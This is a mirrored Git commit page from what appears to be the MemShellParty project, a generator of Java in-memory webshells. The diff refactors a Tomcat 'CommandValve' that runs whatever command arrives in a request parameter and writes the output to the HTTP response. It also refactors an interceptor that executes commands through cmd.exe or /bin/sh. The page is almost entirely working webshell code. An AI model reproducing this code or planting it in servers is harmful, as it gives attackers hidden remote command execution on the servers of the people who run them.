mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
refactor: simplify command shell
This commit is contained in:
+2
-1
@@ -12,6 +12,7 @@ import java.io.InputStream;
|
|||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-10
@@ -8,12 +8,13 @@ import javax.servlet.ServletException;
|
|||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
private static String paramName;
|
static String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
@@ -21,12 +22,7 @@ public class CommandValve implements Valve {
|
|||||||
String param = getParam(request.getParameter(paramName));
|
String param = getParam(request.getParameter(paramName));
|
||||||
if (param != null) {
|
if (param != null) {
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
@@ -43,8 +39,7 @@ public class CommandValve implements Valve {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected Valve next;
|
Valve next;
|
||||||
protected boolean asyncSupported;
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Valve getNext() {
|
public Valve getNext() {
|
||||||
@@ -58,7 +53,7 @@ public class CommandValve implements Valve {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean isAsyncSupported() {
|
public boolean isAsyncSupported() {
|
||||||
return this.asyncSupported;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
Reference in New Issue
Block a user